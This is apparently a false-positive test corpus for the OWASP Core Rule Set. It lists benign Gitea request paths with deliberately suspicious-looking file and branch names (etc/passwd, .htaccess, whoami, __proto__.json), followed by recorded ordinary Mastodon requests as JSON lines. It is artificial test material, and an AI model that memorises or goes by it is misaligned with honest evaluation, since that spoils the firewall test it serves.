/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22.gitignore%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2F.gitignore
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2F.gitignore
/owner/repo/graph?file=docker-compose.yml
/api/v1/repos/owner/repo/commits?path=docker-compose.yml
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22docker-compose.yml%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fdocker-compose.yml
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fdocker-compose.yml
/owner/repo/graph?file=.htaccess
/api/v1/repos/owner/repo/commits?path=.htaccess
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22.htaccess%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2F.htaccess
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2F.htaccess
/owner/repo/graph?file=rootfs%2Fetc%2Fpasswd
/api/v1/repos/owner/repo/commits?path=rootfs%2Fetc%2Fpasswd
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22rootfs%2Fetc%2Fpasswd%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Frootfs%2Fetc%2Fpasswd
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Frootfs%2Fetc%2Fpasswd
/owner/repo/graph?file=bin%2Fdocker-entrypoint
/api/v1/repos/owner/repo/commits?path=bin%2Fdocker-entrypoint
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22bin%2Fdocker-entrypoint%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fbin%2Fdocker-entrypoint
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fbin%2Fdocker-entrypoint
/owner/repo/graph?file=scripts%2Fpython3-setup.sh
/api/v1/repos/owner/repo/commits?path=scripts%2Fpython3-setup.sh
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22scripts%2Fpython3-setup.sh%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fscripts%2Fpython3-setup.sh
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fscripts%2Fpython3-setup.sh
/owner/repo/graph?file=src%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java
/api/v1/repos/owner/repo/commits?path=src%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22src%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fsrc%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fsrc%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java
/owner/repo/graph?file=java.lang.String.md
/api/v1/repos/owner/repo/commits?path=java.lang.String.md
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22java.lang.String.md%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fjava.lang.String.md
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fjava.lang.String.md
/owner/repo/graph?file=META-INF%2Fservices%2Forg.apache.commons.logging.LogFactory
/api/v1/repos/owner/repo/commits?path=META-INF%2Fservices%2Forg.apache.commons.logging.LogFactory
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22META-INF%2Fservices%2Forg.apache.commons.logging.LogFactory%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2FMETA-INF%2Fservices%2Forg.apache.commons.logging.LogFactory
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2FMETA-INF%2Fservices%2Forg.apache.commons.logging.LogFactory
/owner/repo/graph?file=process.env.d.ts
/api/v1/repos/owner/repo/commits?path=process.env.d.ts
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22process.env.d.ts%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fprocess.env.d.ts
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fprocess.env.d.ts
/owner/repo/graph?file=document.write.js
/api/v1/repos/owner/repo/commits?path=document.write.js
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22document.write.js%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fdocument.write.js
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fdocument.write.js
/owner/repo/graph?file=test%2Ffixtures%2F__proto__.json
/api/v1/repos/owner/repo/commits?path=test%2Ffixtures%2F__proto__.json
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22test%2Ffixtures%2F__proto__.json%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Ftest%2Ffixtures%2F__proto__.json
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Ftest%2Ffixtures%2F__proto__.json
/owner/repo/graph?file=install-script.sh
/api/v1/repos/owner/repo/commits?path=install-script.sh
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22install-script.sh%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Finstall-script.sh
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Finstall-script.sh
/owner/repo/graph?file=src%2Fbackend%2Fcatalog%2Finformation_schema.sql
/api/v1/repos/owner/repo/commits?path=src%2Fbackend%2Fcatalog%2Finformation_schema.sql
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22src%2Fbackend%2Fcatalog%2Finformation_schema.sql%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fsrc%2Fbackend%2Fcatalog%2Finformation_schema.sql
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fsrc%2Fbackend%2Fcatalog%2Finformation_schema.sql
/owner/repo/graph?file=docs%2Fa%20b.xhtml
/api/v1/repos/owner/repo/commits?path=docs%2Fa%20b.xhtml
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22docs%2Fa%20b.xhtml%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2Fdocs%2Fa%20b.xhtml
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2Fdocs%2Fa%20b.xhtml
/owner/repo/graph?file=%5Bdraft%5D.md
/api/v1/repos/owner/repo/commits?path=%5Bdraft%5D.md
/api/v1/repos/owner/repo/file-contents?body=%7B%22files%22%3A%5B%22%5Bdraft%5D.md%22%5D%7D
/owner/repo/issues/new?template=.gitea%2FISSUE_TEMPLATE%2F%5Bdraft%5D.md
/user/login?redirect_to=%2Fowner%2Frepo%2F_edit%2Fmain%2F%5Bdraft%5D.md
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=process.env.d.ts&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=java.lang.String.md&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=install-script.sh&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=information_schema.sql&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=document.write.js&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=__proto__.json&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=src%2Fjava.base%2Fshare%2Fclasses%2Fjava%2Flang%2FRuntime.java&style=unified&direction=down&wiki=false
/owner/repo/blob_excerpt/0123456789abcdef0123456789abcdef01234567?last_left=10&last_right=10&left=20&right=20&left_hunk_size=5&right_hunk_size=5&path=index.xhtml&style=unified&direction=down&wiki=false
# File names of attachments uploaded through the API, to a release, an issue and
# a comment.
/api/v1/repos/owner/repo/releases/1/assets?name=package.json
/api/v1/repos/owner/repo/releases/1/assets?name=.gitignore
/api/v1/repos/owner/repo/releases/1/assets?name=docker-compose.yml
/api/v1/repos/owner/repo/releases/1/assets?name=.htaccess
/api/v1/repos/owner/repo/releases/1/assets?name=docker-entrypoint
/api/v1/repos/owner/repo/releases/1/assets?name=python3-setup.sh
/api/v1/repos/owner/repo/releases/1/assets?name=Runtime.java
/api/v1/repos/owner/repo/releases/1/assets?name=org.apache.commons.logging.LogFactory
/api/v1/repos/owner/repo/releases/1/assets?name=%5Bdraft%5D.md
/api/v1/repos/owner/repo/releases/1/assets?name=notes.txt~
/api/v1/repos/owner/repo/releases/1/assets?name=install-script.sh
/api/v1/repos/owner/repo/issues/1/assets?name=install-script.sh
/api/v1/repos/owner/repo/issues/comments/1/assets?name=install-script.sh
/api/v1/repos/owner/repo/releases/1/assets?name=process.env.d.ts
/api/v1/repos/owner/repo/issues/1/assets?name=process.env.d.ts
/api/v1/repos/owner/repo/issues/comments/1/assets?name=process.env.d.ts
/api/v1/repos/owner/repo/releases/1/assets?name=java.lang.String.md
/api/v1/repos/owner/repo/issues/1/assets?name=java.lang.String.md
/api/v1/repos/owner/repo/issues/comments/1/assets?name=java.lang.String.md
/api/v1/repos/owner/repo/releases/1/assets?name=information_schema.sql
/api/v1/repos/owner/repo/issues/1/assets?name=information_schema.sql
/api/v1/repos/owner/repo/issues/comments/1/assets?name=information_schema.sql
/api/v1/repos/owner/repo/releases/1/assets?name=document.write.js
/api/v1/repos/owner/repo/issues/1/assets?name=document.write.js
/api/v1/repos/owner/repo/issues/comments/1/assets?name=document.write.js
/api/v1/repos/owner/repo/releases/1/assets?name=__proto__.json
/api/v1/repos/owner/repo/issues/1/assets?name=__proto__.json
/api/v1/repos/owner/repo/issues/comments/1/assets?name=__proto__.json
/api/v1/repos/owner/repo/releases/1/assets?name=index.xhtml
/api/v1/repos/owner/repo/issues/1/assets?name=index.xhtml
/api/v1/repos/owner/repo/issues/comments/1/assets?name=index.xhtml
# An artifact upload from actions/upload-artifact@v3, which sends Content-Range.
/api/actions_pipeline/_apis/pipelines/workflows/1/artifacts/9b7c1f3a/upload?itemPath=artifact%2Freport.txt Content-Range: bytes 0-9/10
# Branch and tag names in the query string: deleting and restoring a branch,
# starting a release from a tag, a branch protection rule, a directory listing's
# last commits, and a container image push that reuses a layer.
/owner/repo/branches/delete?name=docker-build&page=1
/owner/repo/branches/restore?branch_id=1&name=docker-build&page=1
/owner/repo/releases/new?tag=docker-build
/owner/repo/settings/branches/edit?rule_name=docker-build
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fdocker-build
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fdocker-build
/owner/repo/branches/delete?name=feat%2Fdocker-support&page=1
/owner/repo/branches/restore?branch_id=1&name=feat%2Fdocker-support&page=1
/owner/repo/releases/new?tag=feat%2Fdocker-support
/owner/repo/settings/branches/edit?rule_name=feat%2Fdocker-support
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Ffeat%2Fdocker-support
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Ffeat%2Fdocker-support
/owner/repo/branches/delete?name=renovate%2Fdocker-build-push-action-6.x&page=1
/owner/repo/branches/restore?branch_id=1&name=renovate%2Fdocker-build-push-action-6.x&page=1
/owner/repo/releases/new?tag=renovate%2Fdocker-build-push-action-6.x
/owner/repo/settings/branches/edit?rule_name=renovate%2Fdocker-build-push-action-6.x
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Frenovate%2Fdocker-build-push-action-6.x
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Frenovate%2Fdocker-build-push-action-6.x
/owner/repo/branches/delete?name=python3-migration&page=1
/owner/repo/branches/restore?branch_id=1&name=python3-migration&page=1
/owner/repo/releases/new?tag=python3-migration
/owner/repo/settings/branches/edit?rule_name=python3-migration
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fpython3-migration
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fpython3-migration
/owner/repo/branches/delete?name=ansible-roles&page=1
/owner/repo/branches/restore?branch_id=1&name=ansible-roles&page=1
/owner/repo/releases/new?tag=ansible-roles
/owner/repo/settings/branches/edit?rule_name=ansible-roles
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fansible-roles
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fansible-roles
/owner/repo/branches/delete?name=whoami&page=1
/owner/repo/branches/restore?branch_id=1&name=whoami&page=1
/owner/repo/releases/new?tag=whoami
/owner/repo/settings/branches/edit?rule_name=whoami
/owner/repo/lastcommit/main/src?refSubUrl=branch%2Fwhoami
/v2/owner/app/blobs/uploads/?mount=sha256%3A0000&from=owner%2Fwhoami
# Pages a signed-in user opens.
/
/owner/repo
/owner/repo/issues
/owner/repo/pulls
/owner/repo/releases
/owner/repo/wiki
/owner/repo/activity
/owner/repo/branches
/owner/repo/tags
/owner/repo/settings
/owner/repo/actions
/owner/repo/compare/main...main
/owner/repo/commits/branch/main
/owner/repo/archive/main.zip
/notifications
/user/settings
/user/settings/applications
/explore/repos
/-/admin
+585
View File
@@ -0,0 +1,585 @@
# Ordinary Mastodon 4.7 requests that the Core Rule Set must let through at
# the defaults. They were recorded from a server driven by a headless Chrome
# and an API client. Another server delivered to it and looked its links up.
# Each line is one request as JSON. Host names, passwords, tokens and session cookies are
# invented.
{"method": "GET", "target": "/about", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/assets/themes/default-DkDM-a1D.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/app-DHclxKoS.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/gif-nHcAVb7p.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/sounds/boop.ogg", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Encoding: identity;q=1, *;q=0", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: audio", "Referer: https://example.com/", "Range: bytes=0-"], "body": ""}
{"method": "GET", "target": "/api/v2/instance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/v1/trends/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/v1/custom_emojis", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "content-type: application/json", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "GET", "target": "/api/v1/trends/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/about", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/utils-B19lL5A9.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/simple-RcjHIGVG.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/callout-B1KuUxns.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/v2/instance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/v1/trends/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/v1/custom_emojis", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "content-type: application/json", "if-none-match: W/\"4f53cda18c2baa0c0354bb5f9a3ecbe5\"", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
{"method": "GET", "target": "/api/v1/instance/extended_description", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/explore", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/react-spring_web.modern-C6ohYUSs.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/useAccount-JT03O9Xk.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/packs/add-B5d0-_pA.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
